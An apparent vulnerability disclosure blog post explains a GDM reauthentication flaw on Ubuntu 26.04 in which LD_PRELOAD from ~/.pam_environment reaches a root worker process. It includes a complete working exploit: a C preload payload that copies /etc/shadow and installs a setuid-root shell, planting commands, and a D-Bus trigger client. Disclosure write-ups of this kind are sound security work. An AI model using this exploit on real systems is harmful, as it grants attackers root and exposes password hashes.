Local Privilege Escalation (LPE) · 9 min read

Local privilege escalation via GDM reauthentication

An unprivileged user can put LD_PRELOAD in ~/.pam_environment and after one ordinary login, any process of that user can execute code as root.

published
affected
Ubuntu 26.04.1 LTS, kernel 7.0.0-42-generic
access
Local user session
class
Local privilege escalation to root
components
gdm3 50.1-0ubuntu0.1, Linux-PAM 1.7.0-5ubuntu3.2

Because this issue is already publicly disclosed with a published CVE, rendering my ZDI submission void, I felt inclined to publish my work on the topic.
Lesson learned: It doesn’t make sense to wait on triage, because most vulnerabilities in popular OSS will be rediscovered by someone else and published in the meantime. My condolences to the unpaid maintainers who have to fight against 0-days every day.

POC

There is an accompanying repository with the exploit.

Summary

GDM’s reauthentication service is meant to re-check the password of the user who owns a running graphical session. For a normal, non-frozen session, it creates a nested gdm-session-worker as root and gives it a copy of the outer session worker’s PAM environment, returned by pam_getenvlist(). On Ubuntu that environment can contain variables read from the user’s own ~/.pam_environment, because every GDM PAM stack enables pam_env.so user_readenv=1.

An unprivileged user therefore writes LD_PRELOAD into ~/.pam_environment, normally logs in once, and later calls Manager.OpenReauthenticationChannel followed by UserVerifier.BeginVerificationForUser. The root worker is exec’d with the poisoned environment before any PAM authentication; /usr/libexec/gdm-session-worker is not setuid, so AT_SECURE is false and ld.so honors the preload. The captured payload runs as euid=0 uid=0, copies /etc/shadow, and installs a setuid-root shell.

Background concepts

PAM (Pluggable Authentication Modules) is the layer between a login program and the system’s authentication policy. A service such as gdm-password names a stack of modules in /etc/pam.d/. The stack has phases: auth checks credentials, account checks expiry, session sets up the session, and password changes secrets. Modules can store key/value pairs in a per-login PAM handle; pam_getenvlist() returns that handle’s environment as a NULL-terminated array of NAME=value strings.

GDM is the GNOME display manager. It runs as root, draws the greeter, and starts a per-user gdm-session-worker (the “outer worker”) when someone logs in. That worker runs the PAM stack for the chosen service and keeps the PAM handle for the lifetime of the session, because later operations (unlock, reauthentication) need it.

Reauthentication is how a running desktop asks GDM to verify the user again, for example before an administrative action or when unlocking. A local process calls org.gnome.DisplayManager.Manager.OpenReauthenticationChannel on the system bus. GDM resolves the caller’s logind session, asks the outer worker to start a reauthentication, and returns the address of a private Unix socket. The caller connects to that socket and speaks the org.gnome.DisplayManager.UserVerifier interface. The socket is created mode 0666 in a 0711 directory, but the server checks the connecting uid during the D-Bus handshake, so only a process of the session user can use the returned channel. The outer worker creates a nested GdmSession in REAUTHENTICATE mode, which spawns a second, nested gdm-session-worker to run the selected PAM service. Reauthentication never opens a new login session or starts the user’s session program; it only reports success or failure.

The loader hook. When Linux starts a dynamically linked program, ld.so reads LD_PRELOAD from the environment and maps the named shared objects before the program’s own code. Their constructors run first. For setuid/setgid programs the kernel sets the AT_SECURE auxiliary vector and the loader ignores LD_PRELOAD, because the caller must not choose code in a privileged process. The nested GDM worker is not setuid: it is an ordinary 0755 root:root binary that inherits root from its parent, so AT_SECURE is false.

The trust boundary is therefore: a file the user owns (~/.pam_environment) is read by a root login worker, its contents are copied into the environment of a second root process, and the dynamic loader treats one of those values as a path to code. Nothing checks that the variable is safe for a privileged exec.

Root cause

The session stack reads a user-owned file

All three GDM login services use the same pam_env session line which are shown below:

PAM configuration filestext
# /etc/pam.d/gdm-password
session required        pam_env.so readenv=1
session required        pam_env.so readenv=1 user_readenv=1 envfile=/etc/default/locale

# /etc/pam.d/gdm-autologin
session required        pam_env.so readenv=1
session required        pam_env.so readenv=1 user_readenv=1 envfile=/etc/default/locale

# /etc/pam.d/gdm-launch-environment
session required        pam_env.so readenv=1
session required        pam_env.so readenv=1 user_readenv=1 envfile=/etc/default/locale

user_readenv=1 tells pam_env to read $HOME/.pam_environment for the PAM user. The module drops privileges only while reading the file, then hands every parsed entry to pam_putenv():

Linux-PAM 1.7.0 modules/pam_env/pam_env.cc
if (pam_modutil_drop_priv(pamh, &privs, user_entry)) {
  retval = PAM_SESSION_ERR;
} else {
  retval = _parse_config_file(pamh, ctrl, envpath);
  if (pam_modutil_regain_priv(pamh, &privs))
    retval = PAM_SESSION_ERR;
}
/* ... */
/* set the env var, if it fails, we break out of the loop */
retval = pam_putenv(pamh, key);

There is no name filter in that loop. The key check accepts alphanumerics and underscore, meaning LD_PRELOAD is considered a valid key, and the value is copied.

The outer worker keeps the environment

When the reauthentication request arrives, the outer worker passes its PAM environment into the nested session:

gdm3 daemon/gdm-session-worker.cc
static const char * const *
gdm_session_worker_get_environment (GdmSessionWorker *worker)
{
        return (const char * const *) pam_getenvlist (worker->pam_handle);
}
/* ... */
environment = gdm_session_worker_get_environment (worker);
request->session = gdm_session_new (
        GDM_SESSION_VERIFICATION_MODE_REAUTHENTICATE,
        uid_of_caller,
        worker->hostname,
        worker->display_device,
        worker->display_seat_id,
        worker->display_is_local,
        environment
);

gdm_session_new() stores the array as conversation-environment; set_conversation_environment() copies it with g_strdupv(). No key is removed and no value is checked.

The nested worker is spawned with it

When the user starts a conversation on the returned socket, start_conversation() attaches that environment to a new GdmSessionWorkerJob, and the job passes it straight to g_spawn_async_with_pipes():

gdm3 daemon/gdm-session.c and gdm-session-worker-job.cc
conversation->job = gdm_session_worker_job_new ();
gdm_session_worker_job_set_for_reauth (conversation->job,
        self->verification_mode == GDM_SESSION_VERIFICATION_MODE_REAUTHENTICATE);
if (self->conversation_environment != NULL) {
        gdm_session_worker_job_set_environment (conversation->job,
                (const char * const *) self->conversation_environment);
}
/* ... */
ret = g_spawn_async_with_pipes (
        NULL,
        (char **) args->pdata,
        (char **) env->pdata,
        G_SPAWN_SEARCH_PATH | G_SPAWN_DO_NOT_REAP_CHILD | G_SPAWN_FILE_AND_ARGV_ZERO,
        /* ... */
);

Both the outer worker and the captured nested worker show Uid: 0 0 0 0. g_spawn does not change credentials, so the new /usr/libexec/gdm-session-worker starts with euid 0. GDM_SESSION_FOR_REAUTH=1 is added to the environment, but the attacker’s entries are left in place. Because the binary is 0755 root:root and not setuid, the kernel does not set AT_SECURE, and the loader preloads the attacker library from LD_PRELOAD. The constructor runs before main() calls pam_start(), so the payload executes before any password is requested or checked.

The reason why we need an unfrozen session is because frozen sessions are already protected from this, as can be seen from the comment in open_temporary_reauthentication_channel():

gdm3 daemon/gdm-manager.cc
/* Note we're just using a minimal environment here rather than the
 * session's environment because the caller is unprivileged and the
 * associated worker will be privileged */
environment = g_get_environ ();

A running-session does not use that minimal environment, consequntly enabling the exploit.

A user-owned PAM file becomes the environment of a root execenvLD_PRELOADhexxit writes ~/.pam_environmentsourcepam_env at loginpam_putenv()outer root workerpam_getenvlist()nested GdmSessionREAUTHENTICATEg_spawn_async_with_pipesenvironment, no filterld.so honors LD_PRELOADconstructor runs as euid 0sink
fig. 1 - a user-owned PAM file becomes the environment of a root exec; each hand-off copies the vector without filtering

Lab environment

Ubuntu 26.04.1 LTS, GNOME 50.1 on Wayland (default latest Ubuntu release) with GDM as the display manager (also default).

Proof of concept

Step 1: build the preload payload

The payload is a shared object whose constructor checks for euid 0, drops the preload variable to avoid recursion, and writes root-owned proof files. It then installs a setuid-root copy of a shell and copies /etc/shadow.

exploits/gdm_reauth_pwn.cc
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

static void __attribute__((constructor)) gdm_root_payload(void) {
    if (geteuid() != 0)
        return;
    /* Avoid recursive preload in children spawned by system(). */
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);

    int fd = open("/home/hexxit/gdm-root-proof2", O_WRONLY|O_CREAT|O_TRUNC, 0644);
    if (fd >= 0) {
        dprintf(fd, "euid=%d uid=%d gid=%d pid=%d ppid=%d\n",
                geteuid(), getuid(), getgid(), getpid(), getppid());
        close(fd);
    }
    /* Real root escalation primitive: setuid-root shell + shadow proof. */
    system("cp /home/hexxit/rootsh /home/hexxit/rootsh2; "
           "chown root:root /home/hexxit/rootsh2; "
           "chmod 4755 /home/hexxit/rootsh2; "
           "id > /home/hexxit/gdm-root-id2 2>&1; "
           "cp /etc/shadow /home/hexxit/gdm-root-shadow2 2>/dev/null; "
           "chmod 644 /home/hexxit/gdm-root-id2 /home/hexxit/gdm-root-shadow2 2>/dev/null");
}

Step 2: plant the PAM environment file

bash
# 1. Compile the payload as the victim user.
gcc -shared -fPIC -O2 -o /home/hexxit/pwn.so /home/hexxit/poc/gdm_reauth_pwn.c

# 2. Write the pam_env.conf-syntax file. It is user-owned and mode 0644.
printf 'LD_PRELOAD DEFAULT=/home/hexxit/pwn.so\nGDM_PWN DEFAULT=marker123\n' > /home/hexxit/.pam_environment
chmod 0644 /home/hexxit/.pam_environment

# 3. Prepare the shell that the payload will turn into a setuid helper.
cp /bin/sh /home/hexxit/rootsh

The DEFAULT= form is pam_env’s syntax for a value that is used when the variable is not already set. The file is read after pam_env drops to the user’s credentials, so writing it requires no privilege.

Step 3: perform the one login

Log out of GNOME and log back in as the same user, or reboot. This is the only precondition, and it is something we all do every day (well maybe not all of us.. looking at the psychos keeping their laptop unlocked for days at a time).

After the login, the session environment contains the planted variables, as can be seen below (GDM_PWN was used as a marker during testing, it’s not necessary for the exploit):

console
$ env | grep -E 'LD_PRELOAD|GDM_PWN'
LD_PRELOAD=/home/hexxit/pwn.so
GDM_PWN=marker123

Step 4: open the channel and start verification

Run the POC as the same user. systemd-run --user --scope supplies a process with no logind session, so GDM’s fallback maps the caller to the current (active) graphical session.

bash
$ XDG_RUNTIME_DIR=/run/user/1000 \
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus \
systemd-run --user --scope --quiet --unit=reauthpwn \
  python3 -u /home/hexxit/poc/gdm_client.py gdm-launch-environment root

The client performs the two calls that matter:

exploits/gdm_client.pypython
r=bus.call_sync(SVC, MPATH, SVC+'.Manager','OpenReauthenticationChannel',
                GLib.Variant('(s)',('hexxit',)), GLib.VariantType('(s)'),
                Gio.DBusCallFlags.NONE, 15000, None)
addr=r.unpack()[0]
conn=Gio.DBusConnection.new_for_address_sync(
    addr, Gio.DBusConnectionFlags.AUTHENTICATION_CLIENT, None, None)
...
call(UV,'BeginVerificationForUser',GLib.Variant('(ss)',(service,user)),
     on_call,'BeginVerificationForUser')
Trigger and sink: unprivileged client to root execenvhexxit process (no logind session)sourcesystemd-run --user --scopeManager.OpenReauthenticationChannelcallgdm_find_display_sessionfallback: active sessionouter workerpam_getenvlist()private socket 0666checkuid checkUserVerifier.BeginVerificationForUsercallnested worker exec as uid 0LD_PRELOAD .so before PAMsink
fig. 2 - trigger and sink: the unprivileged client reaches the root worker through the private socket, and pam_getenvlist() supplies the environment that the nested exec inherits

Step 5: proof

console
$ cat /home/hexxit/gdm-root-proof2
euid=0 uid=0 gid=0 pid=69971 ppid=43598
$ cat /home/hexxit/gdm-root-id2
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),111(lpadmin),114(lxd),1000(hexxit)
$ ls -l /home/hexxit/gdm-root-proof2 /home/hexxit/gdm-root-id2
-rw-r--r-- 1 root root  40 ... /home/hexxit/gdm-root-proof2
-rw-r--r-- 1 root root 131 ... /home/hexxit/gdm-root-id2
console
$ /home/hexxit/rootsh2 /bin/sh -c 'id; head -1 /etc/shadow'
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),111(lpadmin),114(lxd),1000(hexxit)
root:*:20691:0:99999:7:::

Step 6: repeat and clean up

Any process of the same user can repeat step 4 on any session that was started after the .pam_environment file was planted. To stop the demonstration, remove ~/.pam_environment and ~/pwn.so, remove the setuid helper, and log in again into a clean session.

Impact

Arbitrary code execution as root on the default Ubuntu 26.04 GDM desktop. The payload read /etc/shadow, wrote root-owned proof files, and installed a setuid-root shell. No sudo, pkexec, polkit authentication, password, or race was needed at trigger time.

The precondition is one graphical login after the file is planted. If malware already runs as the user, it can plant the file and wait for the next login, or way for a reboot. A machine with no GDM graphical session (for example a headless SSH-only host) does not meet the precondition.

Disclosure timeline

  1. ZDI - Case Opened
  2. ZDI - Case Assigned
  3. CVE-2026-133445 (reported by Luke Symons)
  4. ZDI - Case Investigated
  5. ZDI - Case Closed (rejected because of public disclosure)
  6. This post